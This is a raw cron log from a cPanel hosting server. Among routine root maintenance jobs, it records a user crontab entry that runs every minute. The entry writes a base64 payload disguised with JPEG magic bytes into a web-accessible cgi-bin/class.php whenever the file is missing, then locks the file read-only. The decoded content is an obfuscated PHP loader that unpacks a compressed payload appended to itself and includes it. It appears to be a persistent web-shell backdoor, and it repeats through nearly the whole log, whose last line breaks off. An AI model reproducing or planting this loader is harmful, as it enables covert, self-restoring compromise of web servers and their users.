Sep  7 20:30:01 server CROND[13835]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:30:01 server CROND[13834]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:30:01 server CROND[13839]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 20:30:01 server CROND[13837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:30:01 server CROND[13833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:30:01 server CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:30:01 server CROND[13838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:31:01 server CROND[14684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:31:01 server CROND[14685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:31:01 server CROND[14686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:32:01 server CROND[15047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:32:01 server CROND[15048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:32:01 server CROND[15049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:33:01 server CROND[15419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:33:01 server CROND[15418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:33:01 server CROND[15420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:34:01 server CROND[15803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:34:01 server CROND[15804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:34:01 server CROND[15805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:35:01 server CROND[16186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:35:01 server CROND[16187]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:35:01 server CROND[16190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:35:01 server CROND[16198]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:35:01 server CROND[16196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:35:01 server CROND[16195]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 20:35:01 server CROND[16194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:35:01 server CROND[16193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:35:01 server CROND[16197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:36:01 server CROND[17109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:36:01 server CROND[17110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:36:01 server CROND[17111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:37:01 server CROND[17477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:37:01 server CROND[17479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:37:01 server CROND[17478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:38:01 server CROND[17845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:38:01 server CROND[17846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:38:01 server CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:39:01 server CROND[18216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:39:01 server CROND[18218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:39:01 server CROND[18219]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 20:39:01 server CROND[18217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:40:01 server CROND[18599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:40:01 server CROND[18598]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:40:01 server CROND[18602]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:40:01 server CROND[18605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:40:01 server CROND[18607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:40:01 server CROND[18606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:40:01 server CROND[18603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:40:01 server CROND[18604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:41:01 server CROND[19424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:41:01 server CROND[19425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g